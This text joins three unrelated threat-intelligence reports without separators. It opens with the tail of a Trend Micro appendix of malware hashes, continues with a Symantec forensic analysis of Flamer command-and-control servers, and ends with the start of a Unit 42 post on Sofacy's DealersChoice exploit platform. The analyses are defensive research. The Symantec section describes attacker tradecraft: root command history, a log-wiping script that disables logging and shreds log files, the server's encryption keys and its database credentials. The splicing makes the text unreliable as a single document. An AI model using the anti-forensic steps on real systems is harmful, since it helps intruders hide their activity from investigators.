62f9839190e2fe50439894c667b3cbe29d64c3808cc471745e3d33b61370a340 TROJ_STRPSPI.G 694c01c9ade6258596cfafa6247da71712b2c3273bfc25ad26cb47302b8bbf4d TROJ_STRPSPI.G 74f22eced680ca26b767b4b07ba26b98536a385249d751586915b15b56509e0d TROJ_STRPSPI.G Operation Arid Viper Research Paper viii  Page  2015 Trend Micro Incorporated SHA-256 Hashes Trend Micro Detections 81cc84f29a4c444724cbbfab83185866ecebc68c9c0a37f9623a4954456c4dd1 TROJ_STRPSPI.G a185dca4bd3b08bdafa80d53eec7ba792fb94b83785210049ba85477ce7c8cda TROJ_STRPSPI.G a36e2b88b2440aff13bf0473a19e4cd7b7d19e8bc96bb2fd10b991c33e18be7c TROJ_STRPSPI.G aab2cf709d095d949f662c40e9f889a8f3efa130102fc571f56a84205fdc67cb TROJ_STRPSPI.G b009a87d8de4fae3395a06b2676c483a80b10ca12c5bbc093aa71ea504a77dc7 TROJ_STRPSPI.G bb3eefa723221e2aa27c4f56f61418319ccda41b70e9e4b0375bf3bb131e974b TROJ_STRPSPI.G d09a773dab9a20e6b39176e9cf76ac6863fe388d69367407c317c71652c84b9e TROJ_STRPSPI.G dad8cf7474c71db1512e637db780f4650d30b040903d7a76840a1c099b9b8650 TROJ_STRPSPI.G e91216df556bee622e4eab8551fe534cda8f2f1056b8d8442f088a4035815dfe TROJ_STRPSPI.G plmedgroup.com 09be9911eedb9b01d8f544252fb0c74f2dadcf850f33a0b947eac740de8c2427 TROJ_STRPSPI.H Trend Micro Incorporated, a global leader in security software, strives to make the world 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225 E. John Carpenter Freeway Suite 1500 Irving, Texas 75062 U.S.A.
Phone: 1.817.569,8900 http://www.trendmicro.com/us/index.html Introduction Operation Arid Viper Targets Infection Chain CC Infrastructure Operation Advtravel CC Infrastructure Malware Victims fpupdate.info Server Victims linksis.info Server Attribution Khalid Samra Ahmed Jmal Mahmoud Hashem Dev_hima VIRUS_HIMA Mohammed Khaled Fathy Mostafa Other Individuals Conclusion References Appendix
Security Response Overview W32.Flamer is a sophisticated cyber espionage tool that targeted the Middle East.
It is modular in design and contains some novel functionality, most notably its ability to spread across networks using a previously unknown man-in-the-middle attack against Windows Update.
Symantec has performed a detailed forensic analysis of two of the command-and-control (CC) servers used in the W32.Flamer attacks from earlier this year.
Based on our analysis, we were able to uncover details such as when the servers were operational, what entities were targeted, nicknames of those involved in the attack, and techniques used by the attackers to avoid discovery should the command-and-control server be compromised.
Analysis of these CC servers was performed as a joint effort between Symantec, CERT-Bund/BSI, IMPACT, and Kaspersky.
This paper focuses on the detailed forensic examination Symantec carried out on the CC server images.
Symantec Security Response Have I Got Newsforyou: Analysis of Flamer CC Server Contents Overview ............................................................ 1 Background ........................................................ 2 The server .......................................................... 3 The home directory ............................................ 6 Stress testing in applications ....................... 6 Cleaning up ................................................... 7 Disabling logging .......................................... 7 The Web application .......................................... 7 Authors ......................................................... 8 Protocols ....................................................... 9 Stolen Data ................................................. 11 Activity ........................................................ 13 Payload ....................................................... 14 The control panel ............................................. 14 The database .................................................... 16 Schema ...................................................... 16 Conclusion........................................................ 18 Resources  ........................................................ 19 http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east http://www.symantec.com/connect/blogs/w32flamer-microsoft-windows-update-man-middle http://www.symantec.com/connect/blogs/w32flamer-microsoft-windows-update-man-middle http://www.symantec.com/security_response/writeup.jsp?docid2012-052811-0308-99 https://www.bsi.bund.de/CERT-Bund http://impact-alliance.org/home/index.html Have I Got Newsforyou: Analysis of Flamer CC Server Page 2 Security Response Background The first server was set up on May 18, 2012, and, just five hours after it was set up, it recorded the first interaction with a Flamer-compromised client.
The server would go on to control at least a few hundred compromised clients over the next few weeks.
The second server was set up on March 25, 2012, and controlled over a thousand clients in a period of just over one week.
The servers had been set up to record a minimal amount of information in case of discovery.
The systems were configured to disable any unnecessary logging events and entries in the database were deleted at regular intervals.
Existing log files were securely deleted from the servers on a regular basis.
These steps were taken in order to hamper any investigation should the server fall into the hands of investigators or law enforcement.
However, the attackers were not thorough enough, as files revealing the entire history of the servers setup were available and a limited set of encrypted records in the database revealed that compromised clients had been connecting from the Middle East.
We were also able to recover the nicknames of four authorsD, H, O, and Rwho had worked on the code at various stages and on differing aspects of the project.
On both servers command- and-control activity happens through a Web application called Newsforyou.
It processes the W32.Flamer client interactions and provides a simple control panel.
The control panel allows the attackers to upload packages of code to deliver to compromised clients, and download packages containing stolen client data.
However, in a technique not previously seen before the uploaded and downloaded packages are encrypted, so infiltrating the command-and-control server does not reveal the code or the stolen client data.
The command- Figure 1 Data security compartmentalization used by W32.Flamer attackers Have I Got Newsforyou: Analysis of Flamer CC Server Page 3 Security Response and-control server simply serves as a proxy for the data and the data is encrypted and decrypted offline by the attackers using keys unique to each client.
This application also contains functionality to communicate with clients compromised by malware other than Flamer.
The Web application was designed to be a framework for supporting different malware campaigns.
In addition to avoiding the compromise of their operations, preventing both the uploading of rogue code and viewing of stolen data, the setup also maintains a clear distinction of roles.
The roles include those responsible for setting up the server (admins), those responsible for uploading packages and downloading stolen data through the control panel (operators), and those holding the private key with the ability to decrypt the stolen data (attack coordinators).
The operators themselves may actually be completely unaware of the contents in the stolen data.
This is due to design of the process to use data security compartmentalization techniques, as shown in Figure 1.
Despite these techniques, we were still able to determine that one of the servers delivered a module instructing Flamer to commit suicide and wipe itself off computers in late May 2012, an action we also witnessed through compromised honeypots.
Finally, access to the control panel required a password which is stored as a hash.
Despite brute force attempts at reversing the hash to plain text, we were unable to determine the plain text password.
What follows is a thorough analysis of one of the command-and-control servers, detailing the server setup, the Web application developed by at least four separate authors since 2006, the control panel used by the operators, and the database that helps drive the application.
The report also includes key information about a second server, but in-depth details have been omitted to maintain the brevity of this report.
The functionality and structure of both servers is identical.
The differences are mainly in the amount of data and number of clients the servers were exposed to.
The server File system The following table details the important locations relevant to the investigation of the command-and-control servers.
Server setup The first sign of activity from the attackers on the first server was May 18, 2012.
At 11:26 (UTC) the first scheduled job was run and a little over two hours later the server was fully operational.
A malicious package was uploaded to the server at 13:53.
The first recorded interaction with a W32.Flamer compromised client was at 16:15, when stolen data was uploaded to the server.
In comparison, the second server saw initial activity on March 25, 2012, and was fully operational on the same day.
Table 1 Location Description /root/.bash_history Contains a history of root user commands /var/spool/crontabs/root Scripts set up to run at regular intervals //home/[USERNAME] Operator home directory, contains various scripts /var/www/htdocs/newsforyou Command-and-Control Web application /var/lib/mysql MySQL database http://www.symantec.com/connect/blogs/flamer-urgent-suicide Have I Got Newsforyou: Analysis of Flamer CC Server Page 4 Security Response During the server set up, the attackers installed various applications and tested connections to the MySQL database which supported their custom Web application.
The end goal was to install a command-and-control application called Newsforyou which interacted with compromised W32.Flamer clients.
An important step taken by the attackers was to hide traces of their activity on the server.
They did this by disabling logging and securely removing existing log files.
The attackers, however, did not clear out the history of commands issued through the console by the administrator (root) account.
This data was visible and was retrieved from the /root/.bash_history file, which revealed these activities.
The following table lists and describes, in brief, a subset of commands that are most relevant to the server set up: Following these commands, the Apache server was configured to listen on TCP ports 443 and 8080.
The firewall was also reconfigured to allow connections over SSH and HTTPS.
Logging activities were disabled and existing log files were securely deleted where necessary.
The server is now ready to interact with compromised Flamer clients through the Newsforyou application.
The attackers also set up some URL redirections to disguise the true nature of the requests to an inexperienced eye.
They would appear to look like legitimate requests for regular looking folder names.
An example of one of the redirect rules is shown below: /etc/apache2/sites-available/default-ssl Table 2 Command Executed Description netstat an Checks open network connections telnet localhost 3306 Tests MySQL server is accepting connections nano apache2.conf Configures Web server adduser [USERNAME] Adds user [USERNAME] crontab /etc/cron.newsforyou Cronjob executes scripts at regular intervals openssl req -newkey rsa:1024 -nodes -x509 -days Creates SSL key python __main__.py 0 2 1 127.0.0.1 100 100 Simulator test to add entry (stolen data) python __main__.py 2 1-2 1 127.0.0.1 100 Simulator test to retrieve news entry (payload) nano /etc/apache2/ports.conf Configures Web server to listen on TCP port 443 cp /home/[USERNAME]/LogWiper_fixed.txt /LogWiper.sh Prepares log wiper file as BASH script sh /LogWiper.sh Wipes logs and disables logging services mkdir /var/www/common/ Creates folders to be used in redirection mkdir /var/www/wp-content/ Creates folders to be used in redirection mkdir /var/www/pages/ Creates folders to be used in redirection mkdir /var/www/services/ Creates folders to be used in redirection nano /etc/apache2/sites-enabled/default-ssl Sets up URL redirects mkdir -p /var/www/cgi-bin Creates folders to be used in redirection mkdir -p /var/www/htdocs/newsforyou Create Web appplication folder php5 ../DB_creation_script.php Creates database /etc/init.d/apache2 restart Restarts Web server iptables -A INPUT -p tcp --dport 22 -j ACCEPT Accepts connections on TCP port 22(SSH) iptables -A INPUT -p tcp --dport 443 -j ACCEPT Accepts connections on TCP port 443(HTTPS) Have I Got Newsforyou: Analysis of Flamer CC Server Page 5 Security Response ScriptAlias /cgi-bin/ /var/www/cgi-bin/ Directory /var/www/cgi-bin AllowOverride None Options ExecCGI -MultiViews SymLinksIfOwnerMatch Order allow,deny Allow from all RewriteEngine on RewriteRule counter\.cgi /newsforyou/index.php /Directory Scheduled tasks A cronjob was set up to periodically delete files from the file system and remove older entries from the database: /etc/cron.newsforyou UnloadChecker.php, which is executed every two minutes, retrieves data uploaded from the compromised computer and places it in a tar archive.
The archive could then be downloaded by the operators.
Eraser.py is a script used to wipe certain files and content from folders.
On one of the servers the operators made an error when setting up the scheduled task.
They used the folder name pycleaner when creating the task, but this folder does not exist.
The folder containing the script is pycleanscr.
As a result, the Eraser.py script was never automatically executed.
Figure 2 illustrates the simple setup now in place for communicating with W32.Flamer compromised clients.
The next sections discuss the files and applications of most interest to the investigation, along with their locations.
The analysis begins in the home directory of the unique added user, a folder that is created once the user is added during the initial set up.
The usernames here were Figure 2 Communications between CC server and compromised computers Table 3 Repeat Interval Command 2 minutes /var/www/htdocs/newsforyou/UnloadChecker.php  /var/log/newsforyou.log 6 hours  python /home/[USERNAME]/pycleaner/Eraser.py Midnight php /home/[USERNAME]/delete.php Have I Got Newsforyou: Analysis of Flamer CC Server Page 6 Security Response short three-letter names, unique to each server.
The home directory Location: /home/[USERNAME] The following table contains the location and a brief description of the files and folders present in the users home directory: Stress testing the application Simulator This application consists of a set of Python scripts, which are used to stress test the Newsforyou application.
This application was only present on one of the servers.
The application connects to a chosen server and issues various queries that conform to the CC server protocol.
The tests performed during the set up were to add an entry (stolen data) and to retrieve a news entry (payload).
A point of interest here is the presence of dnslocation.info as part of the HTTP request header the script builds in a file named Connection.py.
This is a known Flamer CC server domain, indicating that the code is being shared and used to test across various CC servers.
The timestamp on this file supports this idea as it is stamped March 22, 2012.
When a Python script is executed, a compiled Python file (.pyc) is generated.
Examining these files, we confirmed this application was executed on May 18 which corroborates our finding about the system configuration date.
Table 4 File/Directory Description ./.bashrc Standard .bashrc with no modifications Simulator/ Python application used to test the Newsforyou application pycleanscr/ Python application used to free up disk space if necessary ./LogWiper_fixed.txt Script which disables logging and securely deletes specific log files ./RequestHandler.php Used in the Newsforyou Web application ./Delete.php PHP script which delete files and entries in the MySQL database Have I Got Newsforyou: Analysis of Flamer CC Server Page 7 Security Response Cleaning up pycleanscr pycleanscr checks how much free disk space is available on the root partition.
It deletes the files in /var/www/ htdocs/newsforyou/tmp/ if the amount of the disk space in use is greater than 75 percent.
Delete.php Deletes entries in the news_entries table of the MySQL database and securely deletes the files referenced by that entry on disk that are older than 30 days.
Disabling logging LogWiper_fixed.txt This .txt file is renamed to a .sh BASH script and run to disable logging services, to securely delete any prior log files created, and to disable logging in two particular applications required by the attackers: Apache and SSH.
Files are securely deleted using Shred, a tool that repeatedly overwrites files to prevent their recovery, even forensically.
The next section will discuss the Web application processing the compromised W32.Flamer client requests.
The Web application Location: /var/www/htdocs/newsforyou/ The Newsforyou application is written in PHP and contains the primary command-and-control functionality split into two parts: the main module and the control panel.
The control panel is a basic user interface which allows packages to be uploaded and installed on chosen W32.Flamer clients.
It also allows for the retrieval of stolen data that had been uploaded from these clients.
Table 5 Log files deleted Services disabled Services with logging disabled /var/log/wtmp Rsyslog Apache /var/log/lastlog Sysklogd SSH /var/run/utmp Msyslog /var/log/mail.
syslog-ng /var/log/syslog /var/log/messages hidden files in /root and / home /var/log/auth/ /var/log/apache2/ Have I Got Newsforyou: Analysis of Flamer CC Server Page 8 Security Response The table below describes the layout and offers a brief description of the components of the Newsforyou application: Symmetric encryption with known key Asymmetric encryption with known public key, private key unknown The application is designed to resemble a simple news/blog application.
This approach may serve to disguise the true nature of the application from any automation or casual inspection.
Although the code was running on a Linux server, it is likely some of the command-and-control servers were running Windows, or at least that the code was developed and tested on Windows computers.
The following comment was present in one of the PHP files: -- This function was added by D, returns a true/false value depending on if this is a Windows box Authors The PHP source code references four authors, identified in the table below, and also attributes to them particular functionality within the code: It is clear that D and H had the most input into the project, having edited the most files in the application.
O and R were tasked with database and cleanup operations and could easily have had little or no understanding of the inner workings of the application.
However, D and H have direct involvement in handling interactions with clients, as they worked on the protocols and also worked on the control panel that the operators used.
It is likely D and O knew each other, as they both worked on the same files and during a similar time period in December 2006.
Table 6 Directories Description /newsforyou Main command and control application /newsforyou/news Encrypted packages distributed to all infected clients /newsforyou/ads Encrypted packages distributed to chosen infected clients /newsforyou/entries Encrypted data uploaded from infected clients /newsforyou/files Temporary location for files when creating unloads /newsforyou/tmp Temporary files (database exports, tar archives) /newsforyou/bak Archives generated when unloading /newsforyou/CP Control panel Table 7 author Edited Files Dates Control Panel Protocols Database Cleanup Encryption D 33 12/4/2006 01/23/2007 X X X X X H 10 09/02/2007 X X X X O 4 12/3/2006 X R 1 2011 X Have I Got Newsforyou: Analysis of Flamer CC Server Page 9 Security Response H is responsible for the SignupProtocol, while D is involved in the OldProtocol (Flamer), both of which will be discussed in more detail in the next section.
Protocols The main module communicating with the compromised clients is index.php.
It deciphers the protocol then logs, decodes, and processes requests.
Four protocols have been identified, of which three are in use.
The Red protocol has not been implemented yet.
The existence of three supported protocols, along with one protocol under development, confirms the CC servers requirement to communicate with multiple evolutions (variants) of W32.Flamer or additional cyber- espionage malware families currently unknown to the public.
Have I Got Newsforyou: Analysis of Flamer CC Server Page 10 Security Response These protocols are identified in the table below: Used by W32.Flamer PROTOCOL_OLD with custom encryption over HTTP Specific requests handled by the application are: The possibility that multiple Trojans, or at least evolutions of W32.Flamer, are at work here is backed up by the fact that four different IDs are used internally to identify them: Table 8 Protocol Identifier Protocol Request PROTOCOL_OLD HTTPS UNIQUE_NUMBER[DIGITS]PASSWORDLifeStyle2 PROTOCOL_SIGNUP HTTPS uid[DIGITS]action[DIGITS] PROTOCOL_OLD_E HTTP NOT(uid[DIGITS]action[DIGITS]) PROTOCOL_RED N/A N/A Table 9 Request Functionality GetNewsHandler Responsible for sending news to compromised clients AddEntryHandler Responsible for storing entries (stolen data) from compromised clients GetAdHandler Responsible for sending ads to compromised clients Table 10 Client Internal ID Protocol Threat CLIENT_TYPE_SP 1 PROTOCOL_OLD Unknown CLIENT_TYPE_SPE 2 PROTOCOL_OLD_E Unknown CLIENT_TYPE_FL 3 PROTOCOL_OLD W32.Flamer CLIENT_TYPE_IP 6 PROTOCOL_SIGNUP Unknown N/A N/A PROTOCOL_RED Unknown Have I Got Newsforyou: Analysis of Flamer CC Server Page 11 Security Response Here is a snippet of code that identified connecting clients: It is likely here that CLIENT_TYPE_SP, CLIENT_TYPE_SPE, and CLIENT_TYPE_FL implemented by D are evolutions of the same threat.
However, CLIENT_TYPE_IP which is implemented by H appears to come after the in-use Flamer protocol, which suggests that either new variants exist that we are unaware of, or there is a separate Trojan at work.
They also included an unrecognized fallback for clients.
Stolen Data Compromised clients upload stolen data to the entries directory.
Files stored in this directory are encrypted with a public key stored in the database.
These files cannot be decrypted without the corresponding private key.
There was a file of 157,548 bytes still left on the server that the operators did not have the opportunity to download.
The stolen data is encrypted with this public key on the server, thus requiring the corresponding unknown private key to decrypt: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtZslxFiR9KJE05Nhh7Xk lVVpD9F6AQnvZeknDiwL3SBjZB/dB/LLXtwiet8LUS6JYCXnaIq4NxW1PymwGFZ zuc/B3pZAFPt06veOHOfaMAI0KDMblaNPINvn/jJ8TfvCaUMUuMEY4sayh0xwD MwSAazMYI8rvaaS/BqhI/6vPN6D02UIpwT1TSBVeRRoPBHuYE7A93b8vJw9sBGIp KXZ90sgP1CjdAmCbhYelelninKdeTKCGvd5YXt86grWgEVf5WXzxXi3ZK1T4w0Yt mNhUEAwS7zCdtZAk8b0M83wAirASvPZiBl6qF8hqCT5pKkwgBG//kk8JicboLsM VQIDAQAB -----END PUBLIC KEY----- Based on timestamps seen on the first server in the /newsforyou/bak directory we determined that the operators downloaded the stolen data on four separate dates in May.
Table 11 Date Stolen data files 2012-05-22 112 2012-05-23 12 2012-05-24 11 2012-05-30 43 Have I Got Newsforyou: Analysis of Flamer CC Server Page 12 Security Response A total of around 75 MB of stolen data was found in the backups on one of the servers (server 1).
Although the timing data is limited here, the timestamps of these backups suggest that the operators could be in the EMEA region.
There was a four-day delay from the initial setup to when the operators began to retrieve stolen data.
This is a possible indicator that the information about the new server had to take time to filter down to them.
In comparison, the other server (server 2) saw a massive 5.7 GB of stolen data: Figure 3.1 Megabytes of stolen data by date, server 1 Figure 3.2 Megabytes of stolen data by date, server 2 Have I Got Newsforyou: Analysis of Flamer CC Server Page 13 Security Response Activity By examining the files in the bak directories, specifically the number of files contained within the backup archives created each day, it is possible to obtain an indication of the activity of the CC server, which can be seen in the chart below: On the first server, there is a clear increase in activity around May 20, which then drops off.
This is to be expected as computers are cleared up.
On the second server the Flamer operation is in full flow and huge volumes of files are being created on the system.
Figure 4.1 Number of backup archives created each day, server 1 Figure 4.2 Number of backup archives created each day, server 2 Have I Got Newsforyou: Analysis of Flamer CC Server Page 14 Security Response Payload The news directory contains a compressed and encrypted file for distribution to the compromised clients connecting to the server.
This file is encrypted with a known symmetric key retrieved from the database.
This is the browse32.ocx Flamer module, the sole purpose of which is to remove all known traces of the Flamer malware from the compromised client.
The payload is encrypted with this symmetric key: R TIOHIOEUIO() The control panel Access to the Flamer control panel requires authentication: The following credentials are used to gain access to the control panel (only the MD5 password hash is available attempts to crack the password were unsuccessful): Username: username Password Hash: 27934e96d90d06818674b98bec7230fa The control panel for interacting with Flamer-compromised computers is very basic.
The simple interface allows the operators to upload packages and download encrypted data stolen from the compromised clients.
The operator is required to upload specially crafted tar.gz files.
The archived filename needs to follow a specific format, which is parsed and then stored in the ads or news directory, depending on the file extension used.
The filename format for these packages is as follows: [USER _ TYPE] _ [USER _ ID] _ [PRIORITY] _ [TEMP _ FLAG][OPTIONAL _ AND _ IGNORED].news [USER _ TYPE] _ [USER _ ID] _ [EXPIRY _ TIME] _ [AD _ NAME].ad Table 12 MD5 Filename File size 0xfccd97e2513089e74ba707bbf4c1b0e5 59c5452fb2ba21091513ccdc1e0ec7fd 204,024 bytes Figure 5 Control panel login page http://www.symantec.com/connect/blogs/flamer-urgent-suicide Have I Got Newsforyou: Analysis of Flamer CC Server Page 15 Security Response The following is a screen shot of the control panel that allows the operator to upload data to the server: This approach to uploading packages and downloading data fits the profile of military and intelligence operations.
A typical control panel is easy to use and self-explanatory.
The operator has full control over what to do with the compromised clients and has the ability to retrieve and inspect the stolen information.
The Flamer control panel provides limited capabilities to the operator, preventing them from viewing and interpreting the information being exchanged.
This approach would help prevent operators from knowing what is contained within the packages or the significance of the data being exchanged between clients and the attackers.
Such a design would also serve as a defensive measure as it would prevent arbitrary packages from being uploaded and prevent downloaded data being from being inspected by unknown parties that may have gained access to the control panel.
The following screen on the control panel allows the user to view and download backed up data from the server: Figure 6 Control panel data upload screen Figure 7 Control panel screen for downloading stolen data Have I Got Newsforyou: Analysis of Flamer CC Server Page 16 Security Response The tar.gz contains all the relevant stolen data and details of where the information was stolen from.
The private key is required here to inspect the encrypted data.
The database Location: /var/lib/mysql The database is used to store the relevant data about connecting clients, packages to send to the clients, some logging and settings required for encryption, and authentication to access the control panel.
Schema The database is used to store the relevant data about connecting clients, packages to send to the clients, some logging and settings required for encryption, and authentication to access the control panel.
Table 13 Database User Password MySQL news_user news_pass Figure 8 Newsforyou application database schema Have I Got Newsforyou: Analysis of Flamer CC Server Page 17 Security Response The session_log, log, and client_log are all encrypted using the keys stored in the settings table shown below and were successfully decrypted: The database is regularly emptied by the delete.php script there is limited data in it.
The following table gives a brief description of the tables found in the database: The session_log table contains details of all connections to the server while client_log only contains connections with a recognized protocol (e.g.
valid compromised computers).
Examining the data in the table indicates that 1071 valid requests were recorded from compromised clients.
A decrypted client log entry contains the following information: CLIENT _ ID:[UUID] CLIENT _ TYPE:3 CLIENT _ VERSION:0 REQUEST _ TYPE:0 RAW _ REQUEST:UNIQUE _ NUMBER[UUID]PASSWORDLifeStyle2ACTION1FILE _ NAMEFILE _ SIZE0 PROTOCOL:1 The four encrypted requests in the database on the first server are W32.Flamer client requests, which use the old protocol: CLIENT   3    CLIENT_TYPE_FL PROTOCOL   1   OLD_PROTOCOL Table 14 Variable Value is_online True cp_user username cp_hash 8 27934e96d90d06818674b98bec7230fa max_backup_size 52428800 version 1.4.11.4.1 minimum_unload_size 1572864 unload_flag  0 general_key acK3xKMoJzsa9AVvtg59OT4RM/x5MQ3bO2p0j5Jd0 session_key 13eZNow4Pt5ATpPv3WUv1E8UrvJReVMD0pO0MTQqoI Table 15 Table Records Record Id Encryption Description settings 11 11 N Configuration values listed in the table below session_log 8 1144 Y Encrypted session log client_log 4 1071 Y Encrypted client log log 213 21259 Y Encrypted logs news_entries 1 1 N Entries in newsforyou/news (payloads) blog_entries 1 189 N Entries in newsforyou/entries (stolen data) ads 0 n/a N Ad files in newsforyou/ads/ backup 4 4 N Backup files in newsforyou/bak/ Have I Got Newsforyou: Analysis of Flamer CC Server Page 18 Security Response The additional sessions logged are likely attributed to researchers who had discovered the whereabouts of the command-and-control servers.
The session_log data contained three separate HTTP_HOST values, indicating multiple Flamer CC server URLs were used to access this server.
Although only one encrypted file existed in the newsforyou/entries folder (the stolen data uploaded from the compromised clients), the database reveals that 189 records had been created.
The other 188 files had already been removed from the server.
The entry left on the server had been successfully stolen from the computer located in Israel.
A final point to note here is in relation to the entry in the news_entries table.
Only one record ever existed: the malicious payload to clean the computers up, uploaded on May 18, 2012, at 13.43:45.
This server only served up one package and it was uploaded as soon as the server had been initially configured.
The last time a compromised client connected to the server was Friday, June 1, 2012, at 11:42:47, and the last log recorded in the database was Friday, June 1, 2012, at 11:46:01.
Conclusion Examining the W32.Flamer servers has provided additional insight into the architecture of not only the threat, but also into the command structure of the entities behind it.
The server code was written and updated by at least four separate individuals, indicating a continuing development effort to support W32.Flamer and, potentially, new or additional threats of a similar nature.
The command-and-control Web application has been in active development for many years, possibly as early as 2006, which is well before Flamers earliest seen compilation date in 2010.
The operators of the CC servers may be a group of less senior individuals, working on a need-to-know basis, as the operator is not required (nor has the permission) to interpret the value or purpose of the incoming data.
Only the attackers have the permission to access and interpret this data.
This separation of operational and attacker visibility and roles indicates that this is the work of a highly organized and sophisticated group.
The likelihood of a large and well-funded entitys involvement in Flamer is corroborated by the use of the unique certificate weakness used to hijack the Windows Update feature to spread across networks.
They were also careful to unload and archive data where necessary, remove duplicate files, and delete unnecessary files to prevent the server from running out of disk space.
This was an ongoing development up to 2011.
Rs edits in the source code suggest the concern was less about updating protocols and more about ensuring there was ample room on the servers for the stolen data to be uploaded to, begging the question of how much data was actually being stolen.
This investigation simply provides a snapshot in time of the Flamer attack campaign.
Considering that logging was disabled and data was wiped clean in such a thorough manner, the remaining clues make it virtually impossible to determine the entity behind the campaign.
There is little doubt that the larger project involving cyber-espionage tools, such as Flamer, will continue to evolve and retrieve information from the designated targets.
Table 16 IP Address Organization Country client_log 77.42.
[REMOVED] LIBANTELECOM Lebanon Y 37.8.
[
REMOVED] Israel Haifa Hadara Technologies Private Shareholding Company Israel Y 37.75.
[
REMOVED] Orange Palestine Group Co. for Technological Inves Palestine Y 79.212.
[
REMOVED] Deutsche Telekom AG Germany N 95.211.
[
REMOVED] LeaseWeb B.V. Netherlands N Have I Got Newsforyou: Analysis of Flamer CC Server Page 19 Security Response Resources Flamer: Highly Sophisticated and Discreet Threat Targets the Middle East http://symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east Painting a Picture of W32.Flamer http://symantec.com/connect/blogs/painting-picture-w32flamer Flamer: A Recipe for Bluetoothache http://symantec.com/connect/blogs/flamer-recipe-bluetoothache W32.Flamer: Spreading Mechanism Tricks and Exploits http://symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits W32.Flamer: Leveraging Microsoft Digital Certificates http://symantec.com/connect/blogs/w32flamer-leveraging-microsoft-digital-certificates W32.Flamer: Microsoft Windows Update Man-in-the-Middle http://symantec.com/connect/blogs/w32flamer-microsoft-windows-update-man-middle W32.Flamer: Enormous Data Collection http://symantec.com/connect/blogs/w32flamer-enormous-data-collection Flamer: Urgent Suicide http://symantec.com/connect/blogs/flamer-urgent-suicide http://symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east http://symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east http://symantec.com/connect/blogs/painting-picture-w32flamer http://symantec.com/connect/blogs/painting-picture-w32flamer http://symantec.com/connect/blogs/flamer-recipe-bluetoothache http://symantec.com/connect/blogs/flamer-recipe-bluetoothache http://symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits http://symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits http://symantec.com/connect/blogs/w32flamer-leveraging-microsoft-digital-certificates http://symantec.com/connect/blogs/w32flamer-leveraging-microsoft-digital-certificates http://symantec.com/connect/blogs/w32flamer-microsoft-windows-update-man-middle http://symantec.com/connect/blogs/w32flamer-enormous-data-collection http://symantec.com/connect/blogs/w32flamer-enormous-data-collection http://symantec.com/connect/blogs/flamer-urgent-suicide About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
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Let It Ride: The Sofacy Groups DealersChoice Attacks Continue researchcenter.paloaltonetworks.com /2016/12/unit42-let-ride-sofacy-groups-dealerschoice-attacks-continue/ By Robert Falcone and Bryan Lee Recently, Palo Alto Networks Unit 42 reported on a new exploitation platform that we called DealersChoice in use by the Sofacy group (AKA APT28, Fancy Bear, STRONTIUM, Pawn Storm, Sednit).
As outlined in our original posting, the DealersChoice exploitation platform generates malicious RTF documents which in turn use embedded OLE Word documents.
These embedded OLE Word documents then contain embedded Adobe Flash (.SWF) files that are designed to exploit Abode Flash vulnerabilities.
At the time of initial reporting, we found two variants: 1.
Variant A: A standalone variant that included Flash exploit code packaged with a payload.
2.
Variant B: A modular variant that loaded exploit code on-demand and appeared non-operational at the time.
Since that time, we have been able to collect additional samples of the weaponized documents that the DealersChoice exploitation platform generates.
These latest, additional samples are all Variant B samples.
Two of these samples were found to have operational command and control servers which allowed us to collect and analyze additional artifacts associated with the attack.
In late October 2016 Adobe issued Adobe Security Bulletin APSB16-36 to address CVE-2016-7855.
In early November 2016 Microsoft issued Microsoft Security Bulletin MS16-135 to address CVE-2016-7255.
Both of these were in response to active exploitation of zero-day vulnerabilities thought by other researchers to be associated with the Sofacy group.
Additional reporting as well as our own analysis indicates the exploit code for the Adobe Flash vulnerability CVE-2016-7855 was indeed delivered using DealersChoice.
In-house testing also reveals customers of Palo Alto Networks Traps end-point agent are protected by the new exploit code.
Deal Me In: Finding Live C2 Servers In our previous blog discussing DealersChoice, we identified the steps that Variant B would take once executed on a victim host, but were unable to successfully interact with the command and control (C2) server identified at the time.
We have since discovered two fully operational and active C2 servers (versiontask[.
]com and postlkwarn[.
]com) that followed the exact steps we outlined in the blog loading the additional Flash exploit code into memory, following by loading the associated payload also into memory.
Figure 1 details the workflow of victim to C2 communications.
1/10 http://researchcenter.paloaltonetworks.com/2016/12/unit42-let-ride-sofacy-groups-dealerschoice-attacks-continue/ http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/ https://en.wikipedia.org/wiki/Sofacy_Group https://helpx.adobe.com/security/products/flash-player/apsb16-36.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-7855 https://technet.microsoft.com/en-us/library/security/ms16-135.aspx https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-7255 http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/ http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/DealersChoice_Figure_6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_7.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/12/dealerschoice2_8.png Figure 1 Workflow of DealersChoice The ActionScript within Variant B will interact with the C2 server, specifically to obtain a malicious SWF file and a payload.
This process starts with an initial beacon to the C2 server that contains system information and the victims Adobe Flash Player version.
Figure 2 shows the beacon sent by the ActionScript to the C2 server.
